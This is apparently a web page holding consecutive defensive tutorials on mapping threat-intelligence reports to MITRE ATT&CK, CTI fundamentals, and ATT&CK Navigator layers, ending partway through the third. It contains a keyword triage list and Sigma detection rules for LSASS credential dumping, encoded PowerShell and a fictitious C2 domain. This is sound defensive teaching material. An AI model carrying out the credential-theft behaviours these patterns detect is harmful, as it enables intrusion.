Related Tutorials

References

Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology

Objective: Learn to parse a real-world cyber threat intelligence (CTI) report and systematically translate its narrative behaviors into precise MITRE ATT&CK tactics, techniques, and sub-techniques — producing an accurate, reusable TTP layer that drives detection engineering, threat hunting, and adversary emulation planning.


1. Why TTP Mapping Matters More Than IOCs

Traditional Indicators of Compromise (IOCs) — hashes, IP addresses, domains — are brittle. An adversary rotates infrastructure and recompiles payloads cheaply, so a hash-based detection expires the moment the campaign moves. Tactics, Techniques, and Procedures (TTPs) describe behavior, which is far costlier for an adversary to change. Re-tooling how you dump LSASS or beacon over HTTPS is expensive; swapping a C2 IP is trivial.

MITRE ATT&CK encodes this behavioral layer into a shared vocabulary. When you map a CTI report to ATT&CK, you convert prose (“the actor ran an encoded PowerShell loader”) into a stable, machine-referenceable identifier (T1059.001) that every tool, team, and report understands. That identifier outlives the campaign and feeds detection, hunting, and emulation directly.


2. ATT&CK Architecture: Tactics, Techniques, Sub-techniques, and Procedures

ATT&CK is a knowledge base of adversary behavior built on three structural levels.

LevelDescription
TacticThe adversary’s why — the tactical goal (e.g., TA0001 Initial Access, TA0002 Execution).
TechniqueThe how — a specific behavior used to achieve a tactical goal; one step in a string of activity completing the mission.
Sub-techniqueA more granular description of a technique. T1003 OS Credential Dumping has sub-techniques such as T1003.001 LSASS Memory.

A procedure is the real-world, in-the-wild instance of a technique — the exact way a named group performed it. Procedures appear on each technique page as cited examples.

The 14 Enterprise Tactics

Tactic IDName
TA0043Reconnaissance
TA0042Resource Development
TA0001Initial Access
TA0002Execution
TA0003Persistence
TA0004Privilege Escalation
TA0005Defense Evasion
TA0006Credential Access
TA0007Discovery
TA0008Lateral Movement
TA0009Collection
TA0011Command and Control
TA0010Exfiltration
TA0040Impact

Technique IDs follow the T#### convention; sub-techniques append .### (e.g., T1021, T1059.003). These identifiers standardize communication across detection engineering, intelligence reporting, and red team planning. ATT&CK is versioned — IDs can be deprecated or renumbered across major releases — so always verify against the live matrix at attack.mitre.org.


Hierarchy diagram showing ATT&CK structural levels: Tactic at top, descending through Technique, Sub-technique, and Procedure
ATT&CK’s four structural levels — from the adversary’s strategic goal down to a specific, cited real-world behavior.

3. Sourcing and Preparing a CTI Report for Analysis

CTI arrives at three altitudes. Strategic intelligence describes who and why at a board level. Operational intelligence describes campaign-level capability and intent. Tactical intelligence — vendor incident reports, CISA advisories, ISAC bulletins, OSINT write-ups — describes the granular actions you can actually map.

A report is mappable when it describes what the adversary did, not just what it was. Strip attribution bias: the goal is behavior, not a flag. Before mapping, read the full report once end-to-end, then segment the narrative into discrete adversary actions. Each action is a candidate for one or more ATT&CK techniques.


4. The Four-Step Mapping Methodology

CISA’s Best Practices for MITRE ATT&CK Mapping defines a canonical four-step loop. Run it once per behavior.

  1. Identify the behavior — extract what the adversary did from the narrative, quoting the source verbatim.
  2. Research the behavior — understand the technical action being described; resolve vendor jargon to a concrete mechanism.
  3. Translate the behavior into a tactic — identify the adversary’s goal (the why).
  4. Identify the technique and sub-technique — match the how against the matrix.

Worked example. Take the narrative: “The actor delivered a spearphishing attachment, then executed an obfuscated PowerShell loader and accessed LSASS memory with a renamed procdump binary.”

BehaviorTacticTechnique
Spearphishing attachmentTA0001 Initial AccessT1566.001
Obfuscated PowerShell loaderTA0002 Execution + TA0005 Defense EvasionT1059.001, T1027
LSASS access via procdumpTA0006 Credential AccessT1003.001

Automation helps the first pass. The script below surfaces candidate tactics from raw text — a triage aid, never a final answer.

# First-pass triage only — surfaces CANDIDATE tactics for manual review.
TACTIC_KEYWORDS = {
    "TA0001": ["phishing", "spearphishing", "supply chain", "exploited public"],
    "TA0002": ["powershell", "executed", "ran script", "command interpreter"],
    "TA0005": ["obfuscated", "base64", "encoded", "disabled logging"],
    "TA0006": ["lsass", "credential", "dumped", "mimikatz"],
    "TA0011": ["beacon", "c2", "https post", "command and control"],
}

def candidate_tactics(report_text: str):
    text = report_text.lower()
    return {ta: [w for w in words if w in text]
            for ta, words in TACTIC_KEYWORDS.items()
            if any(w in text for w in words)}

excerpt = ("The actor used a spearphishing attachment, then ran an "
           "obfuscated PowerShell loader and dumped LSASS memory.")
for ta, words in candidate_tactics(excerpt).items():
    print(ta, "->", words)

If a sub-technique is not easily identifiable — and there may not be one in every case — review the procedure examples on the technique page. They link the source CTI reports behind the original mapping and may affirm your choice or suggest an alternative. There is always a possibility a behavior is a new technique not yet covered in ATT&CK.


Flow diagram of the four-step CTI-to-ATT&CK mapping loop: Identify, Research, Translate to Tactic, Match Technique, feeding into a worksheet and looping to the next behavior
The CISA-recommended mapping loop runs once per discrete adversary behavior, producing an auditable worksheet entry each cycle.

5. Disambiguation: Choosing the Right Technique When Multiple Apply

Ambiguity is the hard part. One behavior frequently maps to several tactics. T1078 Valid Accounts spans Initial Access (TA0001), Persistence (TA0003), Privilege Escalation (TA0004), and Defense Evasion (TA0005) — the correct tactic depends on what the account was used for in that step, not the account itself.

Rules of thumb:

  • Map to the tactic that matches the adversary’s goal at that moment, not every goal the technique can serve.
  • Prefer the technique level when the report lacks the detail to justify a sub-technique. Forcing T1003.001 when the report only says “stole credentials” is over-mapping.
  • Use the procedure examples to calibrate. If your behavior reads nothing like the cited procedures, re-investigate.
  • T1218 System Binary Proxy Execution and T1027 Obfuscated Files or Information often co-occur with execution techniques — record them as distinct Defense Evasion entries rather than collapsing them.

6. The Analyst Mapping Worksheet

The core analyst deliverable is a worksheet that preserves the audit trail from quote to ID. Confidence and rationale columns make the mapping reviewable.

Raw Behavior QuoteTacticTechniqueSub-techniqueConfidenceRationale
“delivered a spearphishing attachment”TA0001T1566T1566.001HExplicit attachment delivery
“ran an obfuscated PowerShell loader”TA0002T1059T1059.001HInterpreter named explicitly
“loader was Base64-encoded”TA0005T1027MObfuscation implied, method unstated
“accessed LSASS with renamed procdump”TA0006T1003T1003.001HTarget process named
“injected into svchost.exe”TA0005T1055T1055.001MInjection cited; DLL method inferred
“beaconed over HTTPS”TA0011T1071T1071.001HWeb protocol C2 explicit

This worksheet becomes the source of truth that all downstream artifacts — Navigator layers, Sigma rules, emulation plans — derive from.


7. Tooling: ATT&CK Navigator, Decider, and the STIX/TAXII API

ATT&CK Navigator is MITRE’s web tool for visually annotating the matrix. You represent a mapped TTP set as a versioned layer JSON — a portable, diff-able artifact you commit to version control.

{
  "name": "APT-Sample CTI Mapping",
  "versions": { "attack": "16", "navigator": "5.1.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "description": "TTPs extracted from CTI report; scored by confidence.",
  "techniques": [
    { "techniqueID": "T1566.001", "score": 100, "color": "#e60d0d",
      "comment": "Spearphishing attachment delivered loader (High)" },
    { "techniqueID": "T1059.001", "score": 100, "color": "#e60d0d",
      "comment": "Obfuscated PowerShell stager (High)" },
    { "techniqueID": "T1003.001", "score": 75, "color": "#e68a0d",
      "comment": "LSASS access via renamed procdump (Medium)" }
  ]
}

CISA Decider eases disambiguation by asking a series of guided questions about adversary activity, walking you to the correct tactic, technique, or sub-technique — invaluable when an analyst is uncertain.

For programmatic work, query the public read-only TAXII 2.1 endpoint (https://attack-taxii.mitre.org/, Enterprise collection x-mitre-collection--1f5f1533-f617-4ca8-9ab4-6a02367fa019). The ATT&CK dataset is STIX 2.1 JSON: techniques are attack-pattern objects, groups are intrusion-set, software is malware / tool. Pull techniques attributed to a group to cross-check your mapping against MITRE’s own group profile.

from mitreattack.stix20 import MitreAttackData

# Load the Enterprise STIX 2.1 bundle (download once from attack-stix-data)
attack = MitreAttackData("enterprise-attack.json")

# Resolve a threat group alias to its intrusion-set object
group = attack.get_groups_by_alias("APT29")[0]

# Enumerate every technique attributed to the group
for t in attack.get_techniques_used_by_group(group["id"]):
    obj = t["object"]
    print(attack.get_attack_id(obj["id"]), "\t", obj["name"])

8. From TTP Map to Adversary Profile

Aggregate worksheets across an entire campaign to build an adversary profile. Correlate your mapped techniques against the relevant ATT&CK Groups page to validate consistency and surface techniques the actor is known to use but the report omitted. Score the aggregated layer by frequency or confidence to produce a TTP heat map, then prioritize against your priority intelligence requirements (PIRs). The heat map feeds directly into detection gap analysis.

import csv, json

# Load the mapped TTP layer and the internal detection inventory
layer = json.load(open("cti_layer.json"))
covered = set()
with open("detection_coverage.csv") as fh:            # cols: technique_id, rule_name
    for row in csv.DictReader(fh):
        covered.add(row["technique_id"])

print("TechniqueID\tCovered")
for t in layer["techniques"]:
    tid = t["techniqueID"]
    print(f"{tid}\t{tid in covered}")

Flow diagram showing how analyst mapping worksheets aggregate into an adversary profile and TTP heat map, which then drive detection gap analysis, emulation planning, and DeTT&CT coverage scoring
Aggregated TTP worksheets flow into an adversary profile and heat map, directly feeding detection engineering, red team emulation, and coverage analysis.

9. Quality Assurance: Peer Review and Common Mapping Errors

A formal peer review of an annotated report shares perspectives, promotes learning, and improves accuracy. A second analyst routinely catches TTPs missed in the first pass and enforces mapping consistency across the team.

Watch for these recurring errors:

  • Over-mapping — assigning techniques the report does not support.
  • Under-mapping — missing key behaviors buried in the narrative.
  • Conflating technique with tactic — recording a goal where a behavior belongs.
  • Misidentifying sub-techniques — forcing .### granularity the source lacks.
  • Mapping to deprecated techniques — always validate against the current ATT&CK version.

10. Common Attacker Techniques in CTI Reports

These behaviors dominate tactical CTI and should be in every analyst’s recognition vocabulary.

TechniqueDescription
T1566.001 Spearphishing AttachmentMalicious attachment delivers initial loader
T1195 Supply Chain CompromiseTrusted software/update channel weaponized
T1059.001 PowerShellScripted execution, often encoded
T1569.002 Service ExecutionCode run via a Windows service
T1078 Valid AccountsLegitimate credentials reused across tactics
T1027 Obfuscated Files or InformationEncoding/packing to evade detection
T1218 System Binary Proxy ExecutionSigned LOLBins proxy malicious execution
T1055.001 DLL InjectionCode injected into a remote process
T1003.001 LSASS MemoryCredential material dumped from lsass.exe
T1071.001 Web ProtocolsHTTP/S used for command and control

11. Defensive Strategies & Detection

The output of mapping is a prioritized list of behaviors to detect. Each ATT&CK technique page lists Data Sources (e.g., DS0009 Process, DS0011 Module, DS0017 Command, DS0022 File, DS0028 Logon Session, DS0029 Network Traffic) and Mitigations (e.g., M1038 Execution Prevention, M1026 Privileged Account Management). Pull these per technique to convert the map into telemetry requirements and hardening tasks.

Sysmon Events Tied to Mapped Behaviors

Sysmon Event IDDescriptionExample Technique
Event ID 1Process CreateT1059.001, T1218
Event ID 3Network ConnectionT1071.001
Event ID 7Image Loaded (DLL)T1055.001
Event ID 8CreateRemoteThreadT1055
Event ID 10Process AccessT1003.001
Event ID 11File CreateT1027
Event ID 13Registry Value SetT1547.001
Event ID 22DNS QueryT1071.001

Enable the supporting Windows audit policies: Audit Process Creation (Event ID 4688 with command line), Audit Logon Events (4624/4625/4648 for T1078), Audit Object Access → SAM (4661 for T1003), and PowerShell Script Block Logging (4104 for T1059.001).

A Sigma rule operationalizes one mapped technique. Tags follow attack.t1003_001 (lowercase, underscore for the sub-technique separator) and attack.ta0006 for the tactic.

title: Cross-Process Access to LSASS Memory
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess: '0x1410'
  condition: selection
tags:
  - attack.t1003_001
  - attack.ta0006
level: high

Feed the completed layer into DeTT&CT (Detect Tactics, Techniques & Combat Threats) to align mapped TTPs against your data source visibility and detection coverage — the natural follow-on to mapping. The same layer drives the red team emulation plan, ensuring offensive testing exercises the exact behaviors the CTI reported.


12. Tools for CTI Mapping Analysis

ToolDescriptionLink
ATT&CK NavigatorVisual matrix annotation and layer exportmitre-attack.github.io
CISA DeciderGuided Q&A to reach the correct techniquecisa.gov
mitreattack-pythonProgrammatic STIX query of the ATT&CK datasetgithub.com
ATT&CK TAXII 2.1Public read-only API for STIX collectionsattack-taxii.mitre.org
DeTT&CTMaps data source visibility to detection coveragegithub.com
SigmaVendor-agnostic detection rules with ATT&CK tagssigmahq.io
SysmonEndpoint telemetry feeding mapped detectionssysinternals.com

13. MITRE ATT&CK Mapping Reference

TechniqueMITRE IDDetection
Spearphishing AttachmentT1566.001Mail gateway logs, Event ID 11 on attachment write
PowerShellT1059.001Script block logging 4104, Event ID 1
Obfuscated Files or InformationT1027Event ID 1/11, entropy/decoder heuristics
Valid AccountsT1078Logon auditing 4624/4648, anomalous session
LSASS MemoryT1003.001Event ID 10 GrantedAccess to lsass.exe, 4661
DLL InjectionT1055.001Event ID 7/8 remote thread + image load
System Binary Proxy ExecutionT1218Event ID 1 LOLBin parent/child anomalies
Web Protocols (C2)T1071.001Event ID 3/22, JA3/TLS and DNS analytics
Supply Chain CompromiseT1195Software integrity, unexpected update behavior

Summary

  • CTI-to-ATT&CK mapping converts perishable IOCs into durable, behavioral TTPs that survive across campaigns and standardize defensive communication.
  • ATT&CK is structured as tactics (the why), techniques (the how), and sub-techniques (granular methods), each with stable TA#### / T####.### identifiers.
  • The CISA four-step loop — identify, research, translate to tactic, identify technique — produces an auditable mapping worksheet that anchors every downstream artifact.
  • Navigator layers, CISA Decider, and the public TAXII 2.1 STIX endpoint operationalize and version-control the mapping; peer review guards against over-mapping, under-mapping, and tactic/technique confusion.
  • The finished TTP map drives detection engineering directly — pulling ATT&CK Data Sources, Sysmon Event IDs, audit policies, and Sigma rules per technique, and feeding DeTT&CT coverage analysis and emulation plans.

Related Tutorials

References

Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle

Objective: Understand what Cyber Threat Intelligence is, the four intelligence types, the six-phase intelligence lifecycle, primary collection sources, the exchange standards (STIX/TAXII/TLP), and the analytic frameworks — Kill Chain, Diamond Model, Pyramid of Pain, and MITRE ATT&CK — that let defenders and authorized red teamers operationalize intelligence into detection.


1. What Is CTI? (And What It Is Not)

Cyber Threat Intelligence is evidence-based knowledge about adversaries — their capabilities, infrastructure, motivations, and behaviors — refined to support decisions. CTI is not a raw feed of IP addresses, and it is not a SIEM alert. It is the product of a deliberate analytic process.

The distinction is a pipeline:

  • Data — discrete, context-free observations (a hash, a domain, a log line).
  • Information — data aggregated and given context (a domain resolving to a host serving a known dropper).
  • Intelligence — analyzed information answering a stakeholder question (“Is the group behind this dropper targeting our sector, and can our controls detect them?”).

CTI exists to reduce uncertainty for a decision-maker. If a piece of output does not change a defensive action, an investment, or a hunt hypothesis, it is information — not intelligence.


2. The Four Intelligence Types

CTI is stratified by audience and shelf-life. The four-type model (used by NIST SP 800-150 and several vendors) cleanly separates human-consumable TTPs from machine-consumable IOCs.

TypeAudienceFocusLifespan
StrategicC-Suite, BoardGeopolitical risk, sector trends, long-term threat developments; guides policy and investmentMonths–years
OperationalIR teams, SOC managersOngoing or emerging campaigns targeting the org/industry; attacker tools, timelines, objectivesDays–weeks
TacticalSOC analysts, detection engineersAdversary tactics, techniques, and procedures (TTPs) usable as detection logicHours–days
TechnicalSIEM/EDR feeds, toolingAtomic indicators: C2 domains, malware hashes, attacker assets, exploited vulnerabilitiesMinutes–hours

Trace one actor across all four levels. Strategic: “An espionage group aligned with Nation X is escalating against the energy sector.” Operational: “That group is running a spearphishing campaign against utility OT vendors this quarter.” Tactical: “They use T1566.001 (Spearphishing Attachment) followed by T1059.001 (PowerShell) for execution.” Technical: “The current dropper SHA-256 is e3b0c4... and the C2 domain is cdn-update.example.”

Note the inversion of value and durability: technical IOCs are the most actionable but decay in minutes; strategic intelligence shapes decisions for years.


Hierarchy diagram showing the four CTI intelligence types from Strategic at top to Technical at bottom, with decreasing durability and increasing immediacy at each level
The four intelligence types stratify by audience and shelf-life — strategic intelligence endures for years while technical IOCs decay within minutes.

3. CTI Sources: Where the Data Comes From

CTI is collected across the classic intelligence disciplines, adapted to the cyber domain.

Source DisciplineAbbreviationExample in CTI Context
Open-Source IntelligenceOSINTVendor blogs, Shodan, VirusTotal, paste sites
Human IntelligenceHUMINTAnalyst trust networks, dark-web source engagement
Technical IntelligenceTECHINTMalware sandbox outputs, PCAP analysis
Signals IntelligenceSIGINTNetwork telemetry, DNS traffic
Finished IntelligenceMandiant/CrowdStrike reports, CISA advisories

Additional subcategories include measurement-and-signature intelligence, social-media intelligence (SOCMINT), geospatial intelligence (GEOINT), and Deep/Dark Web intelligence.

Sharing communities multiply source value. Sharing anonymized insights with trusted partners — notably Information Sharing and Analysis Centers (ISACs) — helps peers prepare for the same threats. Sector examples include FS-ISAC (financial services), H-ISAC (health), and E-ISAC (electricity). Membership turns one organization’s incident into the whole sector’s early warning.


4. The Intelligence Lifecycle (Six Phases)

The lifecycle is a continuous loop. Output from one cycle refines the inputs of the next.

PhaseKey Activity
1. Planning & DirectionSet goals; prioritize intelligence requirements (IRs); define collection scope and process metrics against the org’s threat landscape and resources
2. CollectionGather data mapped to IRs from public/proprietary feeds, security logs, and network traffic
3. ProcessingNormalize and structure raw data — parse logs, deduplicate IOCs, tag STIX objects
4. AnalysisTransform processed data into actionable intelligence; identify patterns, motivations, and impact; produce reports
5. DisseminationDeliver tailored intelligence to stakeholders — leadership, IT, end-users
6. FeedbackCapture stakeholder input to refine Planning & Direction, closing the cycle

The feedback loop is what separates an intelligence program from an IOC firehose. If the SOC reports that disseminated intelligence never fired a single detection, the next planning phase re-scopes collection.

Governing standard: NIST SP 800-150 (Guide to Cyber Threat Information Sharing) establishes governance, legal, and technical best practices for inter-organizational sharing. ISO/IEC 27001:2022 Control 5.7 formally requires organizations to collect, analyze, and share relevant threat intelligence — making a documented lifecycle a compliance artifact, not just good hygiene.


Flow diagram of the six-phase CTI intelligence lifecycle from Planning through Feedback, forming a continuous loop
The lifecycle is a closed loop — stakeholder feedback from dissemination directly re-scopes the next planning and collection phase.

5. Intelligence Formats & Sharing Standards

Machine-to-machine sharing requires structure. Four standards govern format, transport, and handling.

StandardRole
STIX 2.1Structured Threat Information Expression — how to represent threat data
TAXII 2.1Trusted Automated Exchange of Intelligence Information — how to exchange it
TLPTraffic Light Protocol — sharing boundaries: TLP:CLEAR, TLP:GREEN, TLP:AMBER, TLP:RED
ISO/IEC 27001:2022 Control 5.7Mandates a formal threat-intelligence process

STIX models intelligence as graph objects. STIX Domain Objects (SDOs) are the nodes; STIX Relationship Objects (SROs) are the edges.

SDO TypeATT&CK ID PrefixDescription
intrusion-setG####Activity group / threat actor
attack-patternT#### / T####.###Technique or sub-technique
malware / toolS####Software used by a group
campaignC####Time-bounded set of intrusions
indicatorWraps an IOC with a STIX pattern
relationshipLinks SDOs (e.g., uses, targets)

Building a STIX 2.1 Bundle (Python):

from stix2 import ThreatActor, AttackPattern, Relationship, Bundle

actor = ThreatActor(
    name="Fictitious Bear",
    description="Illustrative espionage group (teaching example)",
    threat_actor_types=["nation-state"],
)

technique = AttackPattern(
    name="Spearphishing Attachment",
    external_references=[{
        "source_name": "mitre-attack",
        "external_id": "T1566.001",   # technique reference
    }],
)

# SRO: actor 'uses' technique
uses = Relationship(actor, "uses", technique)

bundle = Bundle(actor, technique, uses)
print(bundle.serialize(pretty=True))

A minimal STIX 2.1 Indicator (JSON):

{
  "type": "indicator",
  "spec_version": "2.1",
  "id": "indicator--8e2e2d2b-17d4-4cbf-938f-98ee46b3cd3f",
  "created": "2026-01-15T12:00:00.000Z",
  "modified": "2026-01-15T12:00:00.000Z",
  "name": "Dropper file hash (fictitious)",
  "indicator_types": ["malicious-activity"],
  "pattern": "[file:hashes.'SHA-256' = 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855']",
  "pattern_type": "stix",
  "valid_from": "2026-01-15T12:00:00Z"
}

TLP discipline is operational, not decorative. TLP:RED intelligence must never be imported into a shared SIEM tenant or multi-tenant TIP. TAXII 2.1 collections are pulled over HTTPS with a bearer token (Authorization: Bearer <token>); enforce TLP at ingestion so a marking can never be stripped downstream.


6. Analytic Frameworks: Kill Chain, Diamond Model, Pyramid of Pain

Frameworks impose structure on raw observations. Each answers a different question.

The Lockheed Martin Cyber Kill Chain (Hutchins et al., 2011) models an intrusion as seven sequential phases: Reconnaissance → Weaponization → Delivery → Exploitation → Installation → Command & Control → Actions on Objectives. Use it to check coverage balance — an adversary who evades detection at Delivery should still trip a control at C2.

The Diamond Model of Intrusion Analysis (Caltagirone, Pendergast, Betz — articulated 2006, published 2013) conceptualizes any event as relationships between four vertices: Adversary, Capability, Infrastructure, Victim. It is predictive: known three vertices often imply the fourth.

VertexWorked Example (fictitious “Operation Tidefall”)
AdversaryEspionage group “Fictitious Bear”
CapabilityMacro-laden document → PowerShell stager (T1566.001, T1059.001)
InfrastructureC2 domain cdn-update.example, fronted via web protocols (T1071.001)
VictimRegional energy utility, OT-procurement staff

The Pyramid of Pain (David Bianco, 2013) ranks indicators by how much pain their loss causes the adversary:

                    /\
                   /  \   TTPs ............... hardest to change (apex)
                  /----\
                 / Tools \  Cobalt Strike, Mimikatz, malware families
                /--------\
               / Network &  \  JA3, URI patterns, registry keys, named pipes
              /  Host Artifacts\
             /------------------\
            /   Domain Names      \  trivial to rotate
           /----------------------\
          /  IP Addresses           \  trivial to rotate
         /--------------------------\
        /   Hash Values               \  changed in seconds (base)
       /------------------------------\

Hashes and IPs sit at the base — trivial detection value, replaced in seconds. TTPs occupy the apex: forcing an adversary to abandon PowerShell-based execution or spearphishing imposes real engineering cost. This is the strategic argument for behavior-based detection.


Flow diagram representing the Pyramid of Pain from low-value hashes at the base to high-value TTPs at the apex, showing increasing adversary cost per layer
The Pyramid of Pain shows that TTP-level detections impose real engineering cost on adversaries, unlike easily-rotated hashes or IPs at the base.

7. MITRE ATT&CK as a CTI Backbone

MITRE ATT&CK is a globally accessible knowledge base of adversary behaviors built from real-world observation. Unlike IOC-centric models, it focuses on TTPs — a behavioral approach. Every technique carries a stable ID such as T1021 or T1059.003, giving detection engineering, reporting, and red-team planning a shared vocabulary.

Key ATT&CK objects in CTI workflows:

  • Groups (intrusion-set) — e.g., APT29 (G0016), APT41 (G0096), Lazarus Group (G0032)
  • Software (malware/tool) — e.g., Cobalt Strike (S0154), Mimikatz (S0002)
  • Campaigns (campaign) — e.g., C0017, C0018
  • Techniques — e.g., T1566 (Phishing), T1071.001 (Web Protocols C2), T1003 (OS Credential Dumping)

ATT&CK ships as STIX, so it is programmatically queryable. Enumerate every technique attributed to a group:

from mitreattack.stix20 import MitreAttackData

attack = MitreAttackData("enterprise-attack.json")
group = attack.get_groups_by_alias("APT29")[0]
techniques = attack.get_techniques_used_by_group(group.id)

for t in techniques:
    tech = t["object"]
    tid = tech.external_references[0].external_id
    print(f"{tid}\t{tech.name}")

Feed the resulting technique list into ATT&CK Navigator to build a heat-map. Overlay your detection coverage against the group’s TTPs and the gaps become your next intelligence requirements.


8. From Intelligence to Detection: Operationalizing CTI

Intelligence that never reaches a sensor is wasted. The pipeline is: ATT&CK technique → detection hypothesis → log source → detection rule.

Take T1059.001 (PowerShell). Hypothesis: encoded command execution is rare in this environment and worth alerting. Log source: PowerShell Script Block Logging (Event ID 4104). Rule:

title: Suspicious PowerShell Encoded Command Execution
id: 6e8a1f3c-2b7d-4f9a-9c1e-0a2b3c4d5e6f
status: experimental
logsource:
  product: windows
  service: powershell
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - '-enc '
      - 'FromBase64String'
  condition: selection
level: high
tags:
  - attack.execution
  - attack.t1059.001

Every Sigma rule tied to a technique is a step up the Pyramid of Pain. The tags field (attack.<tactic>, attack.t<technique>) keeps each rule linked to the framework, so coverage roll-up is automatic.

Invest accordingly: spend disposable effort on IOC matching (high churn, low pain to adversary) and durable engineering effort on TTP detections (low churn, high pain). STIX/TAXII feeds drive SIEM/SOAR enrichment so analysts triage against context instead of researching every artifact by hand.


Flow diagram showing the pipeline from ATT&CK technique through detection hypothesis, log source, Sigma rule, and SIEM alert back to stakeholder feedback
Every ATT&CK technique maps to a Sigma rule tied to a log source — stakeholder feedback closes the loop and drives the next intelligence requirement.

9. CTI for Red Teams and Defenders: Two Sides of the Same Brief

Adversary emulation is CTI consumed offensively. A red team ingests a finished report on “Fictitious Bear,” extracts the ATT&CK technique set, and emulates only those TTPs to validate whether controls fire. The blue team consumes the identical brief to confirm the same detections exist. One brief, two scopes, one shared technique vocabulary.

Scope is a legal control, not a courtesy. Emulation must stay inside an authorized rules-of-engagement document. Respect TLP on the source intelligence: a TLP:AMBER report informs an internal exercise but cannot be republished in a public write-up.


10. Common Attacker Techniques

Adversaries run their own intelligence cycle against you. CTI teams must practice counter-intelligence awareness.

TechniqueDescription
Victim org profilingAdversary harvests org structure, vendors, and tech stack to tailor lures
Identity reconnaissanceCollection of employee emails/roles for spearphishing target lists
Phishing for informationPretext outreach to elicit defensive posture or credentials
Feed poisoningSubmitting false IOCs to public feeds to induce defender false positives
Infrastructure rotationCycling domains/IPs faster than IOC feeds decay, defeating base-tier detection

Counter-intelligence implication: assume your public footprint (and your IOC feeds) are adversary collection targets. Watch for reconnaissance against your own brand and credentials.


11. Defensive Strategies & Detection

CTI is itself a defensive discipline. Operationalize feeds against host and network telemetry.

Sysmon Event IDs for IOC operationalization:

Event IDDescription
1Process Create — match against known-bad process names/hashes
3Network Connection — match against C2 IP/domain IOCs
7Image Loaded — match against malicious DLL hashes
22DNS Query — match against malicious domain IOCs

ETW providers for TTP-level hunting: Microsoft-Windows-DNS-Client (domain IOC matching), Microsoft-Windows-PowerShell/Operational (T1059.001), and Microsoft-Windows-Sysmon/Operational (broad process/network/file telemetry).

Audit policy: enable Audit Process Creation (Success) for process-IOC correlation, and turn on PowerShell Script Block Logging via GPO for behavioral visibility.

A Sigma rule matching a CTI-sourced malicious domain against DNS telemetry:

title: DNS Query to CTI-Listed Malicious Domain
id: 1f2a3b4c-5d6e-7f80-91a2-b3c4d5e6f708
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 22
    QueryName|endswith:
      - 'cdn-update.example'    # fictitious C2 domain
  condition: selection
level: high
tags:
  - attack.command_and_control
  - attack.t1071.001

Program controls: enforce TLP at ingestion in the TIP; gate raw IOC feeds behind de-duplication and decay scoring before SIEM import; run an intelligence-requirement review tied to ATT&CK Navigator coverage gaps; and use the Kill Chain quarterly to check detection balance across the attack lifecycle.


12. Tools for CTI Analysis

ToolDescriptionLink
MITRE ATT&CK NavigatorHeat-map technique coverage and group TTPsattack.mitre.org
MISPOpen-source threat-intelligence platform (STIX/TAXII)misp-project.org
OpenCTIKnowledge-graph TIP for SDO/SRO modelingopencti.io
mitreattack-pythonProgrammatic ATT&CK STIX consumptiongithub.com
Sigma / sigma-cliGeneric detection rule format and convertersigmahq.io
STIX 2 (python-stix2)Build/parse STIX 2.1 bundlesoasis-open.org
VirusTotalMulti-engine IOC enrichmentvirustotal.com

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
PhishingT1566Mail gateway logs; attachment detonation
Spearphishing AttachmentT1566.001Sysmon EventID 1 child of Office app; macro telemetry
Web Protocols (C2)T1071.001Sysmon EventID 3/22; proxy/DNS IOC matching
OS Credential DumpingT1003LSASS access (EventID 10); EDR memory hooks
PowerShellT1059.001Script Block Logging EventID 4104; Sigma attack.t1059.001
Gather Victim Identity InfoT1589External recon monitoring; brand exposure alerts
Gather Victim Org InfoT1591OSINT footprint review
Phishing for InformationT1598Pretext/elicitation reporting; mail telemetry

14. Summary

  • CTI is analyzed, decision-ready knowledge about adversaries — not a raw IOC feed — produced by a disciplined six-phase lifecycle.
  • The four intelligence types (strategic, operational, tactical, technical) trade durability against immediacy; technical IOCs decay in minutes while strategic intelligence endures for years.
  • STIX 2.1, TAXII 2.1, and TLP standardize how intelligence is represented, exchanged, and handled — enforce TLP at ingestion so TLP:RED never leaks downstream.
  • The Diamond Model, Kill Chain, Pyramid of Pain, and MITRE ATT&CK interlock; TTP-level intelligence at the pyramid apex outlasts IOC-level intelligence at its base.
  • Operationalize CTI by converting ATT&CK techniques into Sigma rules and matching IOC feeds against Sysmon EventID 1/3/7/22, closing the loop with stakeholder feedback.

Related Tutorials

References

Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers

Objective: Understand how to use MITRE ATT&CK Navigator to build, annotate, combine, and export technique layers — the JSON layer format, per-technique annotation fields, gap analysis via score expressions, programmatic generation, and the operational security controls around layer files for threat-informed defense and adversary emulation.


1. What Is ATT&CK Navigator and Why It Matters

ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices. It visualizes defensive coverage, supports red/blue team planning, and tracks the frequency of detected techniques. It is a meta-tool: it generates no host telemetry and maps to no single ATT&CK technique. Instead, it is the primary planning surface for structured adversary emulation and threat-informed defense.

The unit of work is the layer — a JSON file scoped to one ATT&CK domain and matrix version, listing techniques with whatever annotations have been applied. Layers can store a default view configuration (sorting, visible platforms) and can be authored interactively in the UI or generated programmatically.

The current release is v5.3.2 (April 21, 2026). The hosted instance lives at mitre-attack.github.io/attack-navigator/.


2. Tool Setup: Hosted Instance vs. Self-Hosted

The hosted instance is the fastest start. Layer files uploaded to it stay client-side — nothing is stored on MITRE’s servers. Despite that, MITRE recommends running your own instance if your layer files contain sensitive content.

Navigator is a dynamic web application that runs on Node.js and Angular CLI, and installs on Linux. A self-hosted instance can be air-gapped and fed local STIX bundles via the customDataURL field or customDataURL query parameter.

git clone https://github.com/mitre-attack/attack-navigator.git
cd attack-navigator/nav-app
npm install
ng serve   # serves the Navigator on localhost:4200

Self-hosted configuration lives in nav-app/src/assets/config.json. The banner setting (default empty string) displays HTML content at the top of the page. The features array lists togglable features; setting enabled: false on a feature hides all of its control elements.


3. Anatomy of a Layer: The JSON Schema

The current specification is Version 4.5 of the layer file format. Field names are case-sensitive — techniqueID, not techniqueId.

FieldDescription
nameHuman-readable layer name
versionsObject with attack, navigator, layer sub-fields
domain"enterprise-attack" | "mobile-attack" | "ics-attack"
descriptionFree-text description of the layer
techniquesArray of technique annotation objects
